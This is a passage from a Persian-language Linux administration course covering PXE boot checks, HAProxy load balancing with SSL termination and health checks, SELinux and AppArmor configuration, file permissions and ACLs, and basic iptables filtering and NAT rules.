در CentOS/RHEL:

systemctl restart nfs
systemctl enable nfs
exportfs -a

۶. بررسی و تست PXE Boot

۶.۱ بررسی سرویس‌های اجرا شده
systemctl status isc-dhcp-server
systemctl status tftpd-hpa
systemctl status nfs-kernel-server
۶.۲ بررسی لاگ‌های DHCP برای دریافت درخواست PXE
journalctl -u isc-dhcp-server --no-pager | tail -20
۶.۳ تست بوت کلاینت از طریق PXE
  • کلاینت را در BIOS یا UEFI روی Boot from Network تنظیم کنید.
  • سیستم را ریستارت کنید و مشاهده کنید که کلاینت از طریق TFTP فایل بوت دریافت کرده و وارد منوی PXE می‌شود.

جمع‌بندی

  • ابتدا بسته‌های DHCP، TFTP، NFS و HTTP نصب شدند.
  • DHCP Server برای ارسال فایل بوت PXE پیکربندی شد.
  • TFTP Server برای ارائه فایل‌های بوت تنظیم شد.
  • منوی بوت PXE برای انتخاب سیستم‌عامل تعریف شد.
  • NFS برای ارائه فایل‌های نصبی سیستم‌عامل راه‌اندازی شد.
  • در نهایت، سرویس‌ها راه‌اندازی شدند و کلاینت‌ها از طریق PXE بوت شدند.

[/cdb_course_lesson][cdb_course_lesson title=”Load Balancing با HAProxy”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”نصب و پیکربندی HAProxy برای Load Balancing ترافیک شبکه” subtitle=”توضیحات کامل”]HAProxy یک Load Balancer قدرتمند و رایگان است که برای توزیع بار ترافیک شبکه بین چندین سرور استفاده می‌شود. این ابزار به دلیل کارایی بالا، مقیاس‌پذیری و پشتیبانی از TCP و HTTP در سطح گسترده‌ای در سازمان‌ها و دیتاسنترها مورد استفاده قرار می‌گیرد.

در این بخش، نحوه نصب، پیکربندی و راه‌اندازی HAProxy برای متعادل‌سازی ترافیک بین چند سرور وب آموزش داده خواهد شد.


۱. نصب HAProxy

۱.۱ نصب در Ubuntu/Debian
apt update && apt install -y haproxy
۱.۲ نصب در CentOS/RHEL
yum install -y haproxy

۲. پیکربندی اولیه HAProxy

۲.۱ تنظیمات کلی در فایل پیکربندی

مسیر فایل: /etc/haproxy/haproxy.cfg

nano /etc/haproxy/haproxy.cfg

تنظیمات کلی شامل بخش‌های global، defaults، frontend و backend می‌شود.

۲.۲ پیکربندی بخش Global
global
    log /dev/log local0
    log /dev/log local1 notice
    chroot /var/lib/haproxy
    stats socket /run/haproxy/admin.sock mode 660 level admin
    stats timeout 30s
    user haproxy
    group haproxy
    daemon
    maxconn 4096
۲.۳ تنظیمات پیش‌فرض (defaults)
defaults
    log global
    mode http
    option httplog
    option dontlognull
    timeout connect 5s
    timeout client 50s
    timeout server 50s

۳. راه‌اندازی Load Balancer برای ترافیک HTTP

۳.۱ تعریف frontend برای دریافت درخواست‌ها

این بخش تعیین می‌کند که درخواست‌ها روی کدام پورت دریافت شوند.

frontend http_front
    bind *:80
    default_backend web_servers
۳.۲ تعریف backend برای توزیع بار بین سرورها

در اینجا دو سرور وب با آدرس‌های 192.168.1.101 و 192.168.1.102 معرفی شده‌اند.

backend web_servers
    balance roundrobin
    server web1 192.168.1.101:80 check
    server web2 192.168.1.102:80 check
۳.۳ فعال‌سازی صفحه مانیتورینگ HAProxy
listen stats
    bind *:8080
    stats enable
    stats uri /haproxy?stats
    stats refresh 5s

۴. راه‌اندازی و تست HAProxy

۴.۱ بررسی تنظیمات HAProxy برای یافتن خطاهای احتمالی
haproxy -c -f /etc/haproxy/haproxy.cfg
۴.۲ راه‌اندازی و فعال‌سازی سرویس HAProxy
systemctl restart haproxy
systemctl enable haproxy
۴.۳ بررسی وضعیت سرویس
systemctl status haproxy
۴.۴ تست Load Balancing

در مرورگر، آدرس سرور HAProxy را وارد کنید:

http://<haproxy-ip>/

هر بار که صفحه را رفرش کنید، درخواست‌ها بین دو سرور web1 و web2 تقسیم می‌شود.

۴.۵ مشاهده داشبورد مانیتورینگ

در مرورگر:

http://<haproxy-ip>:8080/haproxy?stats

۵. بهینه‌سازی و امنیت HAProxy

۵.۱ فعال‌سازی KeepAlive برای کاهش تأخیر ارتباطات
option http-server-close
option forwardfor except 127.0.0.1
۵.۲ محدود کردن تعداد ارتباطات همزمان برای جلوگیری از حملات DDoS
backend web_servers
    balance roundrobin
    stick-table type ip size 200k expire 10m
    http-request track-sc1 src
    http-request deny if { sc_http_req_rate(0) gt 100 }

جمع‌بندی

  • ابتدا HAProxy نصب شد.
  • تنظیمات Load Balancing برای HTTP روی دو سرور انجام شد.
  • داشبورد مانیتورینگ برای مشاهده وضعیت سرورها فعال شد.
  • بهینه‌سازی‌های امنیتی و بهبود عملکرد اضافه شد.

با این تنظیمات، HAProxy می‌تواند ترافیک ورودی را به‌صورت متعادل بین سرورها توزیع کند و با پیکربندی‌های اضافه، امنیت و کارایی را بهبود دهد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”پیکربندی سرورهای مختلف به عنوان Backend در HAProxy” subtitle=”توضیحات کامل”]در HAProxy، امکان تعریف چندین نوع سرور Backend برای مدیریت بار و توزیع درخواست‌ها وجود دارد. بسته به نیاز سرویس، نوع پروتکل و استراتژی Load Balancing، می‌توان Backendهای مختلفی را تنظیم کرد.

در این بخش، نحوه پیکربندی Backend برای وب‌سرورها، سرورهای دیتابیس، سرورهای API و سرورهای Mail را بررسی خواهیم کرد.


۱. پیکربندی Backend برای وب‌سرورها

۱.۱ ویرایش فایل پیکربندی HAProxy

مسیر فایل: /etc/haproxy/haproxy.cfg

nano /etc/haproxy/haproxy.cfg
۱.۲ تعریف frontend برای دریافت درخواست‌های HTTP
frontend http_front
    bind *:80
    default_backend web_servers
۱.۳ پیکربندی backend برای توزیع بار بین سرورهای وب
backend web_servers
    balance roundrobin
    server web1 192.168.1.101:80 check
    server web2 192.168.1.102:80 check
    server web3 192.168.1.103:80 check backup
  • roundrobin: روش چرخشی برای توزیع درخواست‌ها بین سرورها.
  • check: بررسی سلامت سرورها قبل از ارسال درخواست.
  • backup: این سرور تنها در صورت از کار افتادن سایر سرورها فعال خواهد شد.

۲. پیکربندی Backend برای سرورهای API

۲.۱ تعریف frontend برای API Gateway
frontend api_front
    bind *:8080
    default_backend api_servers
۲.۲ پیکربندی backend برای API Servers
backend api_servers
    balance leastconn
    option httpchk GET /health
    server api1 192.168.1.201:8080 check
    server api2 192.168.1.202:8080 check
    server api3 192.168.1.203:8080 check
  • leastconn: درخواست‌ها به سروری ارسال می‌شوند که کمترین ارتباط فعال را دارد.
  • option httpchk: بررسی سلامت سرورها با ارسال یک درخواست GET /health.

۳. پیکربندی Backend برای سرورهای دیتابیس (MySQL, PostgreSQL)

۳.۱ تعریف frontend برای اتصال به دیتابیس
frontend db_front
    bind *:3306
    default_backend db_servers
۳.۲ پیکربندی backend برای توزیع بار بین سرورهای دیتابیس
backend db_servers
    balance source
    mode tcp
    option mysql-check user haproxy
    server db1 192.168.1.151:3306 check
    server db2 192.168.1.152:3306 check backup
  • balance source: درخواست‌های هر کلاینت همیشه به یک سرور مشخص ارسال می‌شود.
  • mode tcp: برای مدیریت اتصال‌های سطح پایین به دیتابیس ضروری است.
  • option mysql-check user haproxy: بررسی سلامت سرور MySQL با یوزر مخصوص HAProxy.

۴. پیکربندی Backend برای سرورهای Mail (SMTP, IMAP, POP3)

۴.۱ تعریف frontend برای سرویس‌های ایمیل
frontend mail_front
    bind *:25
    default_backend smtp_servers
۴.۲ پیکربندی backend برای توزیع بار بین سرورهای SMTP
backend smtp_servers
    balance roundrobin
    mode tcp
    option smtpchk
    server smtp1 192.168.2.10:25 check
    server smtp2 192.168.2.11:25 check
۴.۳ پیکربندی backend برای توزیع بار بین سرورهای IMAP
backend imap_servers
    balance roundrobin
    mode tcp
    server imap1 192.168.2.20:143 check
    server imap2 192.168.2.21:143 check

۵. راه‌اندازی و تست تنظیمات

۵.۱ بررسی تنظیمات HAProxy
haproxy -c -f /etc/haproxy/haproxy.cfg
۵.۲ راه‌اندازی مجدد HAProxy برای اعمال تغییرات
systemctl restart haproxy
systemctl enable haproxy
۵.۳ بررسی وضعیت سرویس
systemctl status haproxy

جمع‌بندی

  • Backendهای مختلفی برای وب، API، دیتابیس و ایمیل تنظیم شد.
  • از استراتژی‌های متفاوتی برای Load Balancing هر نوع سرویس استفاده شد.
  • بهینه‌سازی‌های لازم مانند health check و failover انجام شد.

این تنظیمات امکان افزایش کارایی، در دسترس بودن و مقیاس‌پذیری سرورها را فراهم می‌کنند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”استفاده از روش‌های مختلف Load Balancing (Round Robin، Least Connections)” subtitle=”توضیحات کامل”]Load Balancing یکی از مهم‌ترین تکنیک‌های بهینه‌سازی شبکه است که باعث توزیع بار ترافیک بین چندین سرور می‌شود. در HAProxy، چندین روش توزیع بار وجود دارد که دو مورد از رایج‌ترین آن‌ها Round Robin و Least Connections هستند.

در این بخش، نحوه پیاده‌سازی این دو روش در HAProxy همراه با مثال‌های عملی و تنظیمات کامل بررسی خواهد شد.


۱. روش Round Robin

۱.۱ معرفی روش Round Robin
  • در این روش، درخواست‌ها به صورت چرخشی بین سرورها توزیع می‌شوند.
  • مناسب برای سرورهایی با قدرت پردازشی یکسان و بار متوازن.
۱.۲ ویرایش فایل پیکربندی HAProxy

مسیر فایل: /etc/haproxy/haproxy.cfg

nano /etc/haproxy/haproxy.cfg
۱.۳ پیکربندی frontend برای دریافت درخواست‌های HTTP
frontend http_front
    bind *:80
    default_backend web_servers_round_robin
۱.۴ پیکربندی backend با روش Round Robin
backend web_servers_round_robin
    balance roundrobin
    server web1 192.168.1.101:80 check
    server web2 192.168.1.102:80 check
    server web3 192.168.1.103:80 check
۱.۵ راه‌اندازی و تست تنظیمات
haproxy -c -f /etc/haproxy/haproxy.cfg
systemctl restart haproxy
۱.۶ تست روش Round Robin

برای تست، می‌توان چندین درخواست را به HAProxy ارسال کرد:

curl -I http://your-load-balancer-ip

در پاسخ، خواهید دید که درخواست‌ها به صورت چرخشی بین سرورها توزیع می‌شوند.


۲. روش Least Connections

۲.۱ معرفی روش Least Connections
  • در این روش، درخواست جدید به سروری که کمترین تعداد اتصال فعال را دارد ارسال می‌شود.
  • مناسب برای سرورهایی با قدرت پردازشی مختلف و درخواست‌های با پردازش طولانی.
۲.۲ ویرایش فایل پیکربندی HAProxy

مسیر فایل: /etc/haproxy/haproxy.cfg

nano /etc/haproxy/haproxy.cfg
۲.۳ پیکربندی frontend برای دریافت درخواست‌های API
frontend api_front
    bind *:8080
    default_backend api_servers_least_conn
۲.۴ پیکربندی backend با روش Least Connections
backend api_servers_least_conn
    balance leastconn
    option httpchk GET /health
    server api1 192.168.1.201:8080 check
    server api2 192.168.1.202:8080 check
    server api3 192.168.1.203:8080 check
۲.۵ راه‌اندازی و تست تنظیمات
haproxy -c -f /etc/haproxy/haproxy.cfg
systemctl restart haproxy
۲.۶ تست روش Least Connections

با ارسال چندین درخواست و بررسی لاگ سرورها، خواهید دید که سروری که کمترین اتصال فعال را دارد، درخواست جدید را دریافت می‌کند.


جمع‌بندی

  • روش Round Robin درخواست‌ها را به صورت چرخشی بین سرورها توزیع می‌کند.
  • روش Least Connections درخواست‌ها را به سروری ارسال می‌کند که کمترین تعداد اتصال فعال را دارد.
  • هر دو روش بسته به نوع سرویس، بار سرور و نیاز سیستم انتخاب می‌شوند.

این تنظیمات باعث بهینه‌سازی ترافیک شبکه و افزایش پایداری و کارایی سرورها می‌شوند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”تنظیمات پیشرفته HAProxy مانند SSL Termination و Health Checks” subtitle=”توضیحات کامل”]HAProxy به عنوان یک Load Balancer قوی، قابلیت‌های پیشرفته‌ای از جمله SSL Termination و Health Checks را فراهم می‌کند.

  • SSL Termination برای رمزگشایی درخواست‌های HTTPS در HAProxy قبل از ارسال آن‌ها به سرورهای backend استفاده می‌شود. این کار باعث کاهش فشار روی سرورهای backend و افزایش عملکرد کلی می‌شود.
  • Health Checks در HAProxy به بررسی سلامت سرورهای backend پرداخته و در صورت از کار افتادن یک سرور، آن را از لیست سرورهای فعال خارج می‌کند.

۱. تنظیمات SSL Termination در HAProxy

۱.۱ ایجاد یا دریافت یک گواهینامه SSL

برای استفاده از SSL در HAProxy، ابتدا باید یک گواهینامه SSL معتبر داشته باشید. می‌توانید از Let’s Encrypt استفاده کنید یا یک گواهینامه خودامضا ایجاد کنید.

۱.۲ ایجاد گواهینامه خودامضا
openssl req -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout /etc/ssl/private/haproxy.key -out /etc/ssl/certs/haproxy.crt
۱.۳ ادغام کلید خصوصی و گواهینامه در یک فایل
cat /etc/ssl/private/haproxy.key /etc/ssl/certs/haproxy.crt > /etc/ssl/private/haproxy.pem
۱.۴ ویرایش پیکربندی HAProxy برای پشتیبانی از SSL

مسیر فایل: /etc/haproxy/haproxy.cfg

nano /etc/haproxy/haproxy.cfg
۱.۵ پیکربندی HAProxy برای SSL Termination
frontend https_front
    bind *:443 ssl crt /etc/ssl/private/haproxy.pem
    default_backend web_servers_ssl

backend web_servers_ssl
    balance roundrobin
    server web1 192.168.1.101:80 check
    server web2 192.168.1.102:80 check
۱.۶ تست تنظیمات و راه‌اندازی مجدد HAProxy
haproxy -c -f /etc/haproxy/haproxy.cfg
systemctl restart haproxy
۱.۷ تست SSL با Curl
curl -I https://your-domain.com --insecure

در پاسخ باید هدرهای HTTPS دریافت شوند که نشان‌دهنده موفقیت‌آمیز بودن تنظیمات SSL است.


۲. پیکربندی Health Checks در HAProxy

۲.۱ تنظیمات Health Check در backend

در فایل /etc/haproxy/haproxy.cfg، می‌توان Health Checks را برای بررسی وضعیت سرورها اضافه کرد.

backend web_servers_health
    balance leastconn
    option httpchk GET /health
    server web1 192.168.1.101:80 check inter 2000 rise 2 fall 3
    server web2 192.168.1.102:80 check inter 2000 rise 2 fall 3
۲.۲ توضیح پارامترهای Health Check
  • option httpchk GET /health → HAProxy این درخواست را برای بررسی سلامت سرورها ارسال می‌کند.
  • check → فعال کردن بررسی سلامت برای هر سرور.
  • inter 2000 → بررسی سلامت هر ۲ ثانیه یک‌بار انجام می‌شود.
  • rise 2 → اگر ۲ بار متوالی سرور پاسخ دهد، به عنوان سالم شناخته می‌شود.
  • fall 3 → اگر ۳ بار متوالی سرور پاسخ ندهد، از سرویس خارج می‌شود.
۲.۳ راه‌اندازی مجدد HAProxy
haproxy -c -f /etc/haproxy/haproxy.cfg
systemctl restart haproxy
۲.۴ مشاهده وضعیت سرورها در HAProxy
echo "show stat" | socat stdio /var/lib/haproxy/stats

جمع‌بندی

  • SSL Termination در HAProxy باعث کاهش بار پردازشی سرورهای backend و افزایش امنیت ارتباطات می‌شود.
  • Health Checks در HAProxy سرورهای سالم و ناسالم را شناسایی کرده و از ارسال درخواست‌ها به سرورهای ناسالم جلوگیری می‌کند.
  • هر دو قابلیت باعث افزایش پایداری و بهبود عملکرد سیستم می‌شوند.

[/cdb_course_lesson][/cdb_course_lessons]

[cdb_course_lessons title=”بخش 3: امنیت سیستم”][cdb_course_lesson title=”فصل 1. ابزارها و سیاست‌های امنیتی”][/cdb_course_lesson][cdb_course_lesson title=”معرفی SELinux و AppArmor”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”پیکربندی SELinux” subtitle=”توضیحات کامل”]SELinux و AppArmor دو سیستم کنترل دسترسی اجباری (MAC) هستند که برای افزایش امنیت سیستم‌های لینوکسی استفاده می‌شوند. هر دو ابزار با محدود کردن سطح دسترسی برنامه‌ها و سرویس‌ها به حداقل ممکن، از حملات جلوگیری می‌کنند.


مقایسه SELinux و AppArmor

ویژگی SELinux AppArmor
نوع کنترل کنترل بر اساس متن (Context-Based) کنترل بر اساس مسیر فایل (Path-Based)
پیچیدگی پیکربندی پیچیده‌تر و انعطاف‌پذیرتر ساده‌تر و سریع‌تر
استفاده در توزیع‌ها RedHat, CentOS, Fedora Ubuntu, Debian, SUSE
مدل سیاست‌ها دارای حالت‌های اجباری (Enforcing) و هدفمند (Targeted) سیاست‌ها به صورت پروفایل (Profiles) تعریف می‌شوند
مدیریت خطاها خطاهای دقیق‌تری در لاگ‌ها ارائه می‌دهد ساده‌تر و خواناتر برای کاربران عادی

هر دو ابزار امنیتی هستند، اما SELinux کنترل دقیق‌تری روی امنیت دارد، در حالی که AppArmor پیکربندی آسان‌تری ارائه می‌دهد.


پیکربندی SELinux

۱. بررسی وضعیت SELinux
getenforce
۲. تغییر وضعیت SELinux به حالت‌های مختلف
  • Enforcing (اجرای سخت‌گیرانه)
  • Permissive (ثبت خطاها بدون جلوگیری از دسترسی)
  • Disabled (غیرفعال کردن SELinux)
setenforce 0    # تغییر به Permissive
setenforce 1    # تغییر به Enforcing

برای دائمی کردن این تغییر، فایل /etc/selinux/config را ویرایش کنید:

nano /etc/selinux/config

و مقدار SELINUX را تغییر دهید:

SELINUX=enforcing   # برای اجرای سخت‌گیرانه
SELINUX=permissive  # فقط ثبت خطاها
SELINUX=disabled    # غیرفعال کردن SELinux
۳. بررسی لاگ‌های SELinux

برای مشاهده پیام‌های مرتبط با SELinux، از journalctl یا auditd استفاده کنید:

journalctl -xe | grep -i selinux

یا اگر auditd نصب است:

ausearch -m avc
۴. ایجاد قوانین جدید در SELinux

فرض کنید که یک سرویس نیاز به دسترسی خاصی دارد اما SELinux مانع آن شده است. می‌توان با استفاده از audit2allow یک قانون جدید ایجاد کرد.

۱. نصب ابزارهای لازم:

yum install policycoreutils-python-utils -y  # در RHEL/CentOS
apt install policycoreutils -y               # در Debian/Ubuntu

۲. بررسی لاگ‌های SELinux و ایجاد قانون جدید:

ausearch -m avc -c "httpd" | audit2allow -M httpd_custom
semodule -i httpd_custom.pp
۵. مدیریت کانتکست‌های SELinux

برای مشاهده کانتکست‌های امنیتی فایل‌ها:

ls -Z /var/www/html/

برای تغییر کانتکست فایل:

chcon -t httpd_sys_content_t /var/www/html/index.html

جمع‌بندی

  • SELinux و AppArmor دو مکانیسم امنیتی قوی هستند که از نفوذ و حملات جلوگیری می‌کنند.
  • SELinux سخت‌گیرانه‌تر و کنترل‌محور است، در حالی که AppArmor ساده‌تر و سریع‌تر پیکربندی می‌شود.
  • برای مدیریت SELinux باید بتوانید وضعیت آن را بررسی کرده، خطاهای آن را تحلیل کنید و در صورت نیاز قوانین جدیدی اضافه نمایید.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”روش‌های کاربردی و مدیریت دسترسی” subtitle=”توضیحات کامل”]مدیریت دسترسی در لینوکس یکی از مهم‌ترین بخش‌های امنیت سیستم است که شامل مجوزهای فایل، گروه‌ها، ACLها، و مکانیزم‌های امنیتی پیشرفته مانند SELinux و AppArmor می‌شود. در این بخش، روش‌های اصلی مدیریت دسترسی را بررسی می‌کنیم.


مدیریت دسترسی با مجوزهای فایل در لینوکس

۱. بررسی سطح دسترسی فایل‌ها و دایرکتوری‌ها

برای مشاهده سطح دسترسی یک فایل یا دایرکتوری، از دستور زیر استفاده کنید:

ls -l /path/to/file_or_directory

نمونه خروجی:

-rw-r--r-- 1 root root 4096 Feb 25 10:30 example.txt
  • rw- → صاحب فایل (Owner): خواندن و نوشتن
  • r-- → گروه (Group): فقط خواندن
  • r-- → دیگران (Others): فقط خواندن
۲. تغییر سطح دسترسی با chmod

۱. تنظیم مجوزهای فایل با روش نمادی (Symbolic):

chmod u+rwx,g+r,o-rwx example.txt
  • u → کاربر (Owner)
  • g → گروه (Group)
  • o → دیگران (Others)
  • + → اضافه کردن دسترسی
  • - → حذف دسترسی

۲. تنظیم مجوزهای فایل با روش عددی (Octal):

chmod 755 example.txt
  • 7 → (rwx) خواندن، نوشتن، اجرا (صاحب فایل)
  • 5 → (r-x) خواندن، اجرا (گروه)
  • 5 → (r-x) خواندن، اجرا (دیگران)
۳. تغییر مالکیت و گروه فایل با chown و chgrp

۱. تغییر مالکیت فایل:

chown user1 example.txt

۲. تغییر گروه فایل:

chgrp group1 example.txt

۳. تغییر هم‌زمان مالکیت و گروه:

chown user1:group1 example.txt

مدیریت دسترسی با ACL (Access Control List)

ACL‌ها به شما اجازه می‌دهند که سطوح دسترسی دقیق‌تری برای کاربران و گروه‌ها تعیین کنید.

۱. بررسی ACL‌های یک فایل
getfacl example.txt
۲. اضافه کردن دسترسی برای کاربر خاص
setfacl -m u:user2:rwx example.txt
۳. حذف دسترسی یک کاربر از فایل
setfacl -x u:user2 example.txt
۴. اضافه کردن دسترسی برای یک گروه
setfacl -m g:developers:rx example.txt
۵. تنظیم ACL پیش‌فرض برای دایرکتوری
setfacl -d -m u:user3:rwx /home/shared

مدیریت دسترسی پیشرفته با SELinux

در سیستم‌هایی که SELinux فعال است، باید کانتکست امنیتی فایل‌ها نیز تنظیم شود.

۱. بررسی کانتکست امنیتی فایل‌ها
ls -Z /var/www/html/index.html
۲. تغییر کانتکست امنیتی فایل‌ها
chcon -t httpd_sys_content_t /var/www/html/index.html
۳. تنظیم دائمی کانتکست امنیتی فایل
semanage fcontext -a -t httpd_sys_content_t "/var/www/html(/.*)?"
restorecon -Rv /var/www/html

مدیریت دسترسی در AppArmor

اگر سیستم شما از AppArmor استفاده می‌کند، باید پروفایل‌های امنیتی برای برنامه‌ها تعریف شود.

۱. بررسی وضعیت AppArmor
aa-status
۲. ایجاد یک پروفایل جدید برای برنامه
aa-genprof /usr/bin/nginx
۳. اعمال تغییرات و فعال‌سازی پروفایل
apparmor_parser -r /etc/apparmor.d/usr.bin.nginx

جمع‌بندی

  • مجوزهای سنتی فایل (chmod, chown, chgrp) روش پایه‌ای مدیریت دسترسی در لینوکس است.
  • ACLها (Access Control List) دسترسی‌های پیشرفته‌تری را برای کاربران و گروه‌ها فراهم می‌کنند.
  • SELinux و AppArmor برای کنترل پیشرفته‌تر سطح دسترسی برنامه‌ها و فایل‌ها استفاده می‌شوند.
  • مدیریت صحیح مجوزها و امنیت فایل‌ها در لینوکس از مهم‌ترین روش‌های حفاظت از داده‌ها در سرورهای لینوکسی است.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تنظیمات AppArmor برای افزایش امنیت” subtitle=”توضیحات کامل”]AppArmor یک سیستم کنترل دسترسی اجباری (Mandatory Access Control – MAC) است که به شما امکان می‌دهد دسترسی برنامه‌ها و سرویس‌ها به منابع سیستم را محدود کنید. این ابزار به‌صورت پیش‌فرض در Ubuntu و برخی دیگر از توزیع‌های لینوکس فعال است.

در این بخش، مفاهیم اساسی AppArmor، نحوه پیکربندی، ایجاد پروفایل‌های امنیتی و نحوه مدیریت آن را بررسی می‌کنیم.


۱. بررسی وضعیت AppArmor

برای بررسی اینکه آیا AppArmor در سیستم فعال است یا خیر، از دستور زیر استفاده کنید:

aa-status

خروجی این دستور وضعیت پروفایل‌های بارگذاری‌شده، پروفایل‌های در حال اجرا و برنامه‌هایی که توسط AppArmor محافظت می‌شوند را نمایش می‌دهد.


۲. نصب و فعال‌سازی AppArmor

نصب AppArmor (در صورتی که نصب نیست)
apt install apparmor apparmor-utils -y   # برای Debian/Ubuntu
فعال‌سازی سرویس AppArmor
systemctl enable --now apparmor
بررسی وضعیت سرویس
systemctl status apparmor

۳. نحوه مدیریت پروفایل‌های AppArmor

پروفایل‌های AppArmor دسترسی برنامه‌ها را به فایل‌ها، شبکه و سایر منابع سیستم محدود یا مجاز می‌کنند. این پروفایل‌ها در مسیر /etc/apparmor.d/ قرار دارند.

فهرست پروفایل‌های فعال
ls /etc/apparmor.d/
بارگذاری مجدد تمام پروفایل‌ها
systemctl restart apparmor
اجرای AppArmor در حالت Enforce (اجرای قوانین امنیتی)
aa-enforce /etc/apparmor.d/usr.sbin.nginx
اجرای AppArmor در حالت Complain (فقط ثبت هشدار بدون مسدودسازی)
aa-complain /etc/apparmor.d/usr.sbin.nginx

۴. ایجاد و ویرایش پروفایل امنیتی برای یک برنامه

ایجاد پروفایل جدید برای یک برنامه (مثلاً Nginx)
aa-genprof /usr/sbin/nginx

پس از اجرای دستور فوق، AppArmor برنامه nginx را مانیتور کرده و در طول اجرای آن، قوانینی را برای دسترسی‌های مورد نیاز ایجاد می‌کند. پس از اتمام، می‌توان پروفایل را ذخیره و فعال کرد.

ویرایش یک پروفایل موجود
nano /etc/apparmor.d/usr.sbin.nginx

مثال: محدود کردن دسترسی Nginx فقط به /var/www/

#include <tunables/global>
/usr/sbin/nginx {
    # دسترسی خواندن و نوشتن به /var/www/
    /var/www/** r,
    /var/www/** w,
    # مسدود کردن دسترسی به دیگر مسیرها
    deny /etc/** r,
    deny /root/** rw,
}
بارگذاری مجدد پروفایل بعد از تغییرات
apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx

۵. حذف یا غیرفعال‌سازی یک پروفایل AppArmor

غیرفعال کردن موقت یک پروفایل
aa-disable /etc/apparmor.d/usr.sbin.nginx
حذف کامل پروفایل یک برنامه
rm /etc/apparmor.d/usr.sbin.nginx
بارگذاری مجدد سرویس AppArmor پس از حذف پروفایل
systemctl restart apparmor

۶. نظارت بر AppArmor و ثبت لاگ‌ها

مشاهده لاگ‌های AppArmor در dmesg
dmesg | grep apparmor
مشاهده گزارش‌های مربوط به تخلفات دسترسی
journalctl -xe | grep "apparmor"
مشاهده لاگ‌های خاص از /var/log/syslog
tail -f /var/log/syslog | grep "apparmor"

۷. مثال عملی: محدود کردن دسترسی یک برنامه (مثلاً MySQL)

ویرایش پروفایل MySQL
nano /etc/apparmor.d/usr.sbin.mysqld
افزودن محدودیت‌ها
/usr/sbin/mysqld {
    # اجازه خواندن و نوشتن فقط به دایرکتوری‌های مشخص‌شده
    /var/lib/mysql/** rwk,
    /var/log/mysql.log rw,
    /etc/mysql/my.cnf r,
    
    # مسدود کردن دسترسی به مسیرهای حساس
    deny /home/** rw,
    deny /root/** rw,
    deny /etc/passwd r,
}
بارگذاری مجدد پروفایل برای اعمال تغییرات
apparmor_parser -r /etc/apparmor.d/usr.sbin.mysqld

جمع‌بندی

  • AppArmor یک لایه امنیتی برای محدود کردن دسترسی برنامه‌ها و جلوگیری از سوءاستفاده‌های امنیتی ایجاد می‌کند.
  • با استفاده از پروفایل‌های امنیتی می‌توان مشخص کرد که یک برنامه به چه مسیرهایی اجازه دسترسی دارد.
  • پروفایل‌ها را می‌توان در دو حالت Enforce و Complain اجرا کرد.
  • نظارت بر لاگ‌های AppArmor برای شناسایی تخلفات امنیتی و اصلاح پروفایل‌ها ضروری است.
  • برای افزایش امنیت، دسترسی برنامه‌ها به مسیرهای غیرضروری را محدود کنید.

اجرای صحیح این تنظیمات باعث افزایش امنیت سیستم و کاهش خطر نفوذ از طریق برنامه‌های مخرب خواهد شد.[/cdb_course_lesson][cdb_course_lesson title=”فایروال پیشرفته”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تنظیمات iptables برای فیلتر کردن ترافیک” subtitle=”توضیحات کامل”]iptables یک فایروال قدرتمند در لینوکس است که امکان کنترل و فیلتر کردن ترافیک ورودی و خروجی را فراهم می‌کند. این ابزار با استفاده از زنجیره‌ها (Chains) و قوانین (Rules)، بسته‌های شبکه‌ای را مدیریت می‌کند. در این بخش، تنظیمات کامل iptables برای کنترل ترافیک را بررسی می‌کنیم.


بررسی وضعیت iptables

۱. نمایش لیست قوانین فعال
iptables -L -v -n

توضیحات:

  • -L نمایش لیست قوانین
  • -v نمایش جزئیات بیشتر
  • -n نمایش آدرس‌ها و پورت‌ها به‌صورت عددی

ساختار اصلی iptables

iptables شامل سه زنجیره اصلی است:

  • INPUT: کنترل ترافیک ورودی
  • OUTPUT: کنترل ترافیک خروجی
  • FORWARD: کنترل ترافیک عبوری (در سرورهای NAT و مسیریاب‌ها)

مدیریت ترافیک ورودی (INPUT Chain)

۲. مسدود کردن همه ترافیک ورودی به‌جز ترافیک مجاز
iptables -P INPUT DROP
۳. اجازه دادن به ترافیک ورودی از یک IP خاص
iptables -A INPUT -s 192.168.1.100 -j ACCEPT
۴. اجازه دادن به ارتباطات مرتبط (Established & Related)
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
۵. اجازه دادن به اتصال SSH از یک محدوده IP خاص
iptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT
۶. مسدود کردن ترافیک ICMP (پینگ)
iptables -A INPUT -p icmp -j DROP
۷. مسدود کردن دسترسی به یک پورت خاص (مثلاً پورت 8080)
iptables -A INPUT -p tcp --dport 8080 -j DROP

مدیریت ترافیک خروجی (OUTPUT Chain)

۸. اجازه دادن به همه ترافیک خروجی (مگر اینکه قوانین دیگری تنظیم شوند)
iptables -P OUTPUT ACCEPT
۹. مسدود کردن همه ترافیک خروجی به یک IP خاص
iptables -A OUTPUT -d 203.0.113.5 -j DROP

مدیریت ترافیک Forward (FORWARD Chain)

۱۰. اجازه دادن به عبور ترافیک بین دو شبکه داخلی
iptables -A FORWARD -s 192.168.1.0/24 -d 192.168.2.0/24 -j ACCEPT
۱۱. مسدود کردن فورواردینگ تمامی ترافیک
iptables -P FORWARD DROP

ایجاد قوانین NAT و Port Forwarding

۱۲. فعال‌سازی NAT برای شبکه داخلی
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
۱۳. ریدایرکت کردن ترافیک ورودی به یک سرور داخلی (Port Forwarding)
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.10:80

مدیریت و ذخیره قوانین iptables

۱۴. حذف همه قوانین موجود
iptables -F
